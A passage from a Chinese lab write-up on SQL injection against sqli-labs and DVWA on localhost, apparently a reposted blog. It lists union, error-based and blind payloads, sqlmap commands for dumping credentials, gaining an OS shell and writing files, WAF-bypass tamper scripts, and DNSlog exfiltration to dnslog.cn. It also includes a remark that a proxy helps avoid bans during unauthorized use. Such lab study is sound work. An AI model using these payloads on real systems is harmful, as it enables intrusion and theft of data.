GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
POC:0’)union union%0Aselect%0A select%0A1,2,GROUP_CONCAT(table_name) %0AFROM %0Ainformation_schema.tables %0AWHERE%0A table_schema=‘security’
%0Aunion union%0Aselect%0A select%0A1,2,(’
在这里插入图片描述

e.获取列信息

在轮子的基础上将3替换成
group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
POC:0’)union union%0Aselect%0A select%0A1,2,group_concat(column_name) %0Afrom %0Ainformation_schema.columns %0Awhere%0A table_name=‘users’ %0Aand%0A table_schema=“security”
%0Aunion union%0Aselect%0A select%0A1,2,(’
在这里插入图片描述

f.获取表内数据

在轮子的基础上将3替换成
group_concat(username,“:”, password) from users where id = 4
POC:0’)union union%0Aselect%0A select%0A1,2,group_concat(username,“:”, password)%0A from %0Ausers%0A where%0A id = 4
%0Aunion union%0Aselect%0A select%0A1,2,(’
在这里插入图片描述

14.Less-29

a.注入点判断

还是单引号奇数报错,说明存在注入

b.轮子测试

0’union%0Aselect%0A 1,2,3%0A union%0Aselect%0A 1,2,’
什么情况,这样居然直接过了,真的假的
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将3替换成database()
POC:0’union%0Aselect%0A 1,2,database()%0A union%0Aselect%0A 1,2,’
在这里插入图片描述

d.获取表信息

在轮子的基础上将3替换成
GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
POC:0’union%0Aselect%0A 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
%0A union%0Aselect%0A 1,2,’
居然连空格也不过滤了,啥意思
在这里插入图片描述

e.获取列信息

在轮子的基础上将3替换成
group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
POC:0’union%0Aselect%0A 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”%0A union%0Aselect%0A 1,2,’
在这里插入图片描述

难道说需要开安全狗?看能不能不报错?

f.获取表内数据

在轮子的基础上将3替换成
group_concat(username,“:”, password) from users where id = 4
POC:0’union%0Aselect%0A 1,2,group_concat(username,“:”, password) from %0Ausers%0A where%0A id = 4%0A union%0Aselect%0A 1,2,’
果然,开了安全狗后执行不了了
在这里插入图片描述
在这里插入图片描述

不开启防护就没问题
在这里插入图片描述

搞不明白,如果要对付安全狗那现在的水平还不到,先不管它了

15.Less-30

a.注入点判断

双引号奇数报错,说明存在注入,用界面有没输出看报错,应该是盲注

b.轮子测试

0"union%0Aselect%0A 1,2,3%0A union%0Aselect%0A 1,2,"
在这里插入图片描述

直接就过了,这几关我的运气这么好么

c.获取数据库名称

在轮子的基础上将3替换成database()
POC:0"union%0Aselect%0A 1,2,database()%0A union%0Aselect%0A 1,2,"
在这里插入图片描述

好像有点

d.获取表信息

在轮子的基础上将3替换成
GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
POC:0"union%0Aselect%0A 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
%0A union%0Aselect%0A 1,2,"
在这里插入图片描述

e.获取列信息

在轮子的基础上将3替换成
group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
POC:0"union%0Aselect%0A 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
%0A union%0Aselect%0A 1,2,"
在这里插入图片描述

f.获取表内数据

在轮子的基础上将3替换成
group_concat(username,“:”, password) from users where id = 4
POC:0"union%0Aselect%0A 1,2,group_concat(username,“:”, password) from users where id = 4
%0A union%0Aselect%0A 1,2,"
在这里插入图片描述

咋办,看来是要考察怎么绕waf了,看来的找时间研究下了

16.Test-1

http://127.0.0.1:9009/sql-test/test.php?id=
在这里插入图片描述

a.注入点判断

单引号周期性报错,存在注入

b.轮子测试

1’ and 1 --+
在这里插入图片描述

c.获取数据库名称

Poc:1’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
在这里插入图片描述

d.获取表信息

POC:1’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘dvwa’ limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

e.获取列信息

POC:1’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“dvwa” limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

f.获取表内数据

POC:1’ and updatexml(1, concat(0x7e,(select group_concat(first_name,“:”, last_name) from users where user_id = 4),0x7e), 0x7e)–+
在这里插入图片描述

17.Test-2

http://127.0.0.1:9009/sql-test/test2.php?id=

a.注入点判断

admin’ and if(1=1, sleep(1), 1)#
延迟1秒,输入框存在时间盲注
在这里插入图片描述

b.轮子测试

admin’ and if(length(database())=4, sleep(1), 1)#
在这里插入图片描述

延迟1秒说明轮子可用

c.获取数据库名称

爆破数据库名称
poc:admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述

d.获取表信息

先猜表长度
admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘dvwa’), 1)) =15, sleep(1), 1)#
在这里插入图片描述

说明长度是15
爆破表名称
poc:admin’ and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘dvwa’), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述在这里插入图片描述

e.获取列信息

先猜表长度
admin’ and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“dvwa”), 1)) =73, sleep(1), 1)#
在这里插入图片描述

说明列长度是73
爆破表名称
poc:admin’ and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述在这里插入图片描述

f.获取表内数据

先猜长度
admin’ and if(length(substr((select group_concat(user, ‘:’, password) from users), 1)) =196, sleep(1), 1)#
在这里插入图片描述

延迟1秒,说明长度是196
爆破表内数据
poc:admin’ and if(substr(substr((select group_concat(user, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述在这里插入图片描述

18.Test-3

http://127.0.0.1:9009/sql-test/test3.php

a.注入点判断

在这里插入图片描述

看来是有报错注入,输入数字或符号都会报错,表名里不存在符号时会判断是否存在
在这里插入图片描述在这里插入图片描述

b.轮子测试

那么怎么构造轮子呢,现在目的是让他不报错,且可以使用单引号
输入’admin’,报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘admin’ WHERE user_id=‘1’ LIMIT 0,1’ at line 1
从这里可以得到什么信息呢
Table_name=’ ‘
可以看出他已经给我们准备好了引号,那能不能剥离出来呢
输入:admin’ and 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and 1 WHERE user_id=‘1’ LIMIT 0,1’ at line 1

19.Test-4

使用括号绕过空格替换,用like替代=,记得不要留多余的空格

a.数据库名称获取

1’ and(updatexml(1,concat(0x7e,(SELECT(database()))),0x7e))#

b.表信息获取

1’ and(updatexml(1,concat(0x7e,(select(GROUP_CONCAT(table_name) )FROM(information_schema.tables)WHERE (table_schema like ‘dvwa’)),0x7e), 0x7e))#

c.列信息获取

1’ and(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name like ‘users’)and(table_schema like “dvwa” )),0x7e), 0x7e))#

d.表内数据获取

1’ and(updatexml(1,concat(0x7e,(select(group_concat(first_name,“:”, last_name))from(users)where(user_id like 4)),0x7e), 0x7e))#

二、SQLMAP基本用法实操

1.查询当前用户下的所有数据库

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --dbs
在这里插入图片描述

2.获取教据库中的表名

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 -D security --tables
在这里插入图片描述

3.获取数据库的所有用户

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --users
在这里插入图片描述

4.获取字段内容

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 -D security -T users -C username,password --dump
在这里插入图片描述

5.获取表中的字段名

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 -D security -T users --columns
在这里插入图片描述

6.获取数据库用户的密码

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --passwords
在这里插入图片描述

7.获取当前网站数据库的名称

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --current-db
在这里插入图片描述

8.查看可以使用的payload

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1
在这里插入图片描述

9.–is-dba:当前用户是否为管理权限

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --is-dba
在这里插入图片描述

10.–roles:列出数据库管理员角色

获取角色权限
sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --roles
在这里插入图片描述

11.–referer: HTTP Referer头伪造

SQLMap可以在请求中伪造HTTP中的referer
当——level参数设定为3或3 以上时,会尝试对refere注入。可以使用refere命令来欺骗,如 --referer http:// www.baidu.com
sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --level 3 --referer http://www.baidu.com

12.–sql-shell:运行自定义SQL语句

sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --level 3 --sql-shell
直接拿到sql shell,然后直接运行手动输入的sql查询语句,如
select * from users limit 0, 1
在这里插入图片描述

13.–os-shell:运行任意操作系统命令

用 --os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门. --os-shell支持ASP、ASR.NET、JSP 和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就 --is-dba的值要为True)。
sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 --level 3 --os-shell
在这里插入图片描述在这里插入图片描述

14.–file-read:从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可 以是二进制文件
sqlmap.py -u http://127.0.0.1:9009/Less-1/?id=1 \ --file-read “C:/2.php” -v 1
在这里插入图片描述

15.–file-write --file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当教据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --file-write “C:/Users/cuiyi/Desktop/1.txt” --file-dest “C:/2.txt” -v 1
在这里插入图片描述在这里插入图片描述
从本机桌面上传1.txt到目标机器c盘下面,名字是2.txt

16.sqlmap指定代理服务器

sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1" --proxy=“http://127.0.0.1:45601/”
在这里插入图片描述

17.-r post注入

先找一个post提交的页面
在这里插入图片描述

然后bp抓包,在需要注入的地方添加*
在这里插入图片描述

然后把他复制出来粘贴在记事本里
在这里插入图片描述

然后执行python sqlmap.py -r test.txt
在这里插入图片描述

至于报数据那些操作和前面的一样,只是不用输url而已

18.-r post注入绕过安全狗

随便打开一个网页,然后抓包
在这里插入图片描述在这里插入图片描述

将GET改成POST,然后全部复制到记事本上
在这里插入图片描述

然后执行命令
python sqlmap.py -r test.txt --skip-waf --random-agent -dbs
在这里插入图片描述

可以看出虽然开启了安全狗,但还是找到了库名
在这里插入图片描述

不过貌似只对某些简单情况可以,复杂点的还是不行,而且安全狗后台还是可以检测到很多攻击记录,因此未授权情况下使用这种方法感觉不大好,IP很容易会被BAN,所以使用sqlmap时最好挂代理
在这里插入图片描述在这里插入图片描述

19.–tamper:使用内置脚本绕过WAF

用法:–tamper“脚本名称”
序号 脚本名称 注释
1 0x2char 将每个编码后的字符转换为等价表达
2 apostrophemask 单引号替换为Utf8字符
使用脚本前:“1 AND ‘1’='1”
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
3 apostrophenullencode 替换双引号为%00%27
4 appendnullbyte 有效代码后添加%00
5 base64encode 使用base64编码
使用脚本前:“1’ AND SLEEP(5)#”
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
6between 比较符替换为between
作用:将">“替换为"NOT BETWEEN 0 AND #”,将"=“替换为"BETWEEN # AND #”
使用脚本前:‘1 AND A > B–’,‘1 AND A = B–’
使用脚本后:1 AND A NOT BETWEEN 0 AND B–,1 AND A BETWEEN B AND B–
7bluecoat 空格替换为随机空白字符,等号替换为like
该tamper脚本会对注入测试的payload中需要转义的字符进行转义,绕过蓝海(Bluecoat)等WAF的检测。
8 chardoubleencode 双url编码
该tamper脚本会对注入测试的payload中的每个字符进行双URL编码。例如,空格会被编码为%2520。
9 charencode 将url编码
作用:对指定的payload全部使用url编码(不处理已进行编码的字符)
使用脚本前:‘SELECT FIELD FROM%20TABLE’
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
10charunicodeencode 使用unicode编码
使用脚本前:‘SELECT FIELD%20FROM TABLE’
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
11 charunicodeescape 以指定的payload反向编码未编码的字符
12 commalesslimit 改变limit语句的写法
13 commalessmid 改变mid语句的写法
14 commentbeforeparentheses 在括号前加内联注释
15 concat2concatws 替换CONCAT为CONCAT_WS
16 equaltolike 等号替换为like
17 escapequotes 双引号替换为\\
18 greatest 大于号替换为greatest
19 halfversionedmorekeywords 在每个关键字前加注释
20 htmlencode html编码所有非字母和数字的字符
21 ifnull2casewhenisnull 改变ifnull语句的写法
22 ifnull2ifisnull 替换ifnull为if(isnull(A))
23 informationschemacomment 标示符后添加注释
24 least 替换大于号为least
25 lowercase 全部替换为小写值
26 modsecurityversioned 空格替换为查询版本的注释
27 modsecurityzeroversioned 添加完整的查询版本的注释
28 multiplespaces 围绕sql关键字添加多个空格
使用脚本前:‘1 UNION SELECT foobar’
使用脚本后:1 UNION SELECT foobar
29 nonrecursivereplacement 替换预定义的关键字
30 overlongutf8 将所有字符转义为utf8
31 overlongutf8more 以指定的payload转换所有字符
32 percentage 每个字符前添加%
使用脚本前:‘SELECT FIELD FROM TABLE’
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
33 plus2concat 将加号替换为concat函数
34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()}
35 randomcase 字符大小写随机替换
使用脚本前:‘INSERT’
使用脚本后:InSeRt
36 randomcomments //分割关键字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
作用:将sp_password追加到有效载荷后,以便从DBMS日志中自动混淆。
使用脚本前:'1 AND 9227=9227-- ’
使用脚本后:1 AND 9227=9227-- sp_password
39space2comment 空格替换为/
/
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT//id//FROM//users
40 space2dash 空格替换为–加随机字符
使用脚本前:‘1 AND 9227=9227’
适用脚本后:1–upgPydUzKpMX%0AAND–RcDKhIr%0A9227=9227
41 space2hash 空格替换为#加随机字符
42 space2morecomment 空格替换为/
_**/
43 space2morehash 空格替换为#加随机字符及换行符
44 space2mssqlblank 空格替换为其他空符号
作用:将空格替换为有效字符集的随机空白字符(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:‘SELECT id FROM users’
适用脚本后:SELECT%0Did%0DFROM%04users
45 space2mssqlhash 空格替换为%23%0A
46 space2mysqlblank 空格替换为其他空白符号
47 space2mysqldash 空格替换为–%0A
48 space2plus 空格替换为加号
使用脚本前:‘SELECT id FROM users’
使用脚本后:SELECT+id+FROM+users
49space2randomblank 空格替换为备选字符集中的随机字符
使用脚本前:‘SELECT id FROM users’
使用脚本后:SELECT%0Did%0CFROM%0Ausers
50 symboliclogical AND和OR替换为&&和||
51 unionalltounion union all select替换为union select
使用脚本前:‘-1 UNION ALL SELECT’
使用脚本后:-1 UNION SELECT
52 unmagicquotes 宽字符绕过GPC
53 uppercase 全部替换为大写值
54 varnish 添加HTTP头
55 versionedkeywords 用注释封装每个非函数的关键字
56 versionedmorekeywords 使用注释绕过
57 xforwardedfor 添加伪造的HTTP头
python sqlmap.py -r test.txt --skip-waf --random-agent -dbs --level=5 --tamper=space2morecomment
发现在开启安全狗的情况下某些脚本也可以找到数据的
在这里插入图片描述

三、其他注入方式

1.宽字节注入(32关)

前提
1.使用了addslashes()函数
2.数据库设置了编码模式为GBK
原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞
?id=%df’ and 1=1 --+
?id=%df’ and 1=2 --+
?id=-1%df’ union select 1,2,3 %23

2.堆叠注入(38关)

mysql数据库sql语句的默认结束符是以";“号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句,比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束
前提:
目标存在sql注入漏洞
目标未对”;"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
?id=1’ order by 3%23
?id=1’;show tables%23
?id=-1’;show columns from 1919810931114514%23
?id=1’; insert into users(id,username,password) values(88,‘aaa’,‘bbb’)#

3.Dnslog对外注入

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池
注入语句:
?id=1’ and (select load_file(concat(‘\’,(select hex(user())),‘.http://682y4b.dnslog.cn/abc’))) --+
?id=1’ and (select load_file(concat(‘\’,(select database()),‘.http://682y4b.dnslog.cn/abc’))) --+
在这里插入图片描述

http://127.0.0.1:9009/Less-5/?id=-1%27%20union%20select%201,load_file(concat(%27\\%27,hex(user()),%27.mgm89v.dnslog.cn\abc%27)),3–+
如下实际为构造域名:\user().mgm89v.dnslog.cn\abc
在这里插入图片描述

执行后点击刷新记录
在这里插入图片描述

提取DNS查询记录在16进制转成文本即可获取实际数据
在这里插入图片描述在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/798620.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

questasim界面的个性化设置

安装好questasim后默认的波形查看界面字体很小,颜色看起来也不舒服,所以调整了一下颜色布局如下图,顺便记录一下波形窗口颜色大小及选中行高亮如何设置 ​​​​​​​ 1、波形字体颜色设置 参考如何设置一个清爽的仿真窗口(仿真…

【无标题】linux就该这么学

linux就该这么学 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个注脚…

杰哥教你用Python对Emotet投递的恶意Excel表格提取IoCs

背景介绍 工作遇到多个经过同样方式混淆并隐藏的宏代码文档,利用Excel表格特性,将数据分离在不同的单元格中,再使用Office自带的函数对单元格的数值进行提取后组合成代码字符串运行。运行的代码完成下载恶意文件到本地并注册为服务的恶意行为…

spring项目中idea提示Application context not configured for this file

今天在重构项目的时候,碰到一个问题。就是在spring底下,有一个包里面的所有配置类,在idea的开发工具类底下提示,Application context not configured for this file,如图所示 一开始以为是警告,不予处理&am…

04 linux之C 语言高级编程

gcc和gdb GNU工具 编译工具:把一个源程序编译为一个可执行程序调试工具:能对执行程序进行源码或汇编级调试软件工程工具:用于协助多人开发或大型软件项目的管理,如make、CVS、Subvision其他工具:用于把多个目标文件链…

《入门级-Cocos2d 4.0塔防游戏开发》---第二课:游戏加载界面开发

一、开发环境介绍 操作系统:UOS1060专业版本。 cocos2dx:版本 环境搭建教程: 统信UOS下配置安装cocos2dx开发环境_三雷科技的博客-CSDN博客 二、开发内容 游戏在开始时都需要加载大量的资源,为了让用户有等待时间,因此最先开…

linux学成之路(基础篇)(二十三)MySQL服务(数据库备份——补充)

目录 一、MySQL数据库备份 概述 重要性 造成数据丢失的原因 二、备份类型 一、物理与逻辑角度 一、物理备份 二、逻辑备份 二、数据库备份策略角度 一、完整备份 二、增量备份 三、常见的备份方法 一、物理备份 二、使用专用备份工具 三、通过启用二进制日志增量…

漏洞发现-Xray+Awvs联动-Goby+Xray+Awvs+Vulmap联动

Acunetix: Acunetix一款商业的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功…

在家构建您的迷你 ChatGPT

这篇文章分为三个部分;他们是: 什么是指令遵循模型?如何查找遵循模型的指令构建一个简单的聊天机器人废话不多说直接开始吧!!! 什么是指令遵循模型? 语言模型是机器学习模型,可以根…

移动开发之Wifi列表获取功能

一、场景 业务需要通过App给设备配置无线网络连接,所以需要App获取附近的WiFi列表,并进行网络连接验证。 二、安卓端实现 1、阅读谷歌官网文档,关于Wifi 接口使用 https://developer.android.com/guide/topics/connectivity/wifi-scan?hl…

SpringBoot——内置数据库

简单介绍 关于数据层的三大组件,数据源,持久化技术,数据库。前两种都已经介绍过了SpringBoot的内置的解决方案,还有最后一个数据库,在SpringBoot中,内置了三款数据库。分别是: H2HSQLDerby 这…

ARTIF:一种先进的实时威胁智能识别框架

关于ARTIF ARTIF是一个新型的高级实时威胁智能框架,它基于MISP并添加了另一个抽象层,以实现根据IP地址和历史数据识别恶意Web流量。除此之外,该工具还可以通过收集、处理和关联基于不同因素的观测值来执行自动分析和威胁评分。 功能介绍 评…

uni-app在小米手机上运行【步骤细节】

注意细节重点: 1.手机使用数据线与电脑连接,手机连接模式必须是传输文件模式 2.手机必须打开开发者模式 3.打开开发者模式后,仔细浏览并调整USB调试权限,重点打开USB是否允许安装按钮!!! 操作步…

onnxruntime (C++/CUDA) 编译安装

一、克隆及编译 git clone --recursive https://github.com/Microsoft/onnxruntime cd onnxruntime/ git checkout v1.8.0如果克隆的时候报错: 执行以下: apt-get install gnutls-bin git config --global http.sslVerify false git config --global h…

自动化测试的技术路线

本文中我谈一下自动化测试的技术路线,同时也是测试团队的发展路线。 团队路线1.工程化路线 如果你们公司只有你一个测试,那工程化的路线是必然的选择。另外,我个人比较推崇工程化而非平台化。 下图介绍了工程化路线下写出来的自动化测试&…

[oeasy]python0075_删除变量_del_delete_variable

删除变量 回忆上次内容 上次我们研究了字节序 字节序有两种 符号英文名称中文名称<little-endian小字节序>big-endian大字节序 字节序 用来 明确 整型数字存储的 顺序 如果 读写数字出了错 可以 考虑一下 是否 字节序出了问题 变量现在可以 声明初始化存储了 但是 …

Animator Animator Controller Avatar relationship

Animator 组件用于将动画分配给场景中的游戏对象。Animator 需要对Animator Controller 的引用&#xff0c;该控制器定义要使用的动画剪辑&#xff0c;并控制何时以及如何在它们之间混合和过渡。 如果 GameObject 是具有 Avatar 定义的人形角色&#xff0c;则 Avatar 也应在此组…

【数据结构】--189.轮转数组

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

Python GUI 案例 (tkinter module)

Python GUI 设计案例 基于matplotlib的 y-x 简单绘图 import tkinter as tk from tkinter import filedialog import matplotlib.pyplot as plt import numpy as npdef select_x_file():x_file_path filedialog.askopenfilename(title"x")x_file_entry.delete(0, t…

Pytorch学习笔记 | 数据类型 | mnist数据集

数据类型 python中数据类型和pytorch中的对应关系 注意:pytorch是没有没有string类型的 例1:创建一个3行4列的随机数数组,符合均值为0,方差为1的正态分布 import torch a=torch.Tensor(3,4) a Out[17]: tensor([[0.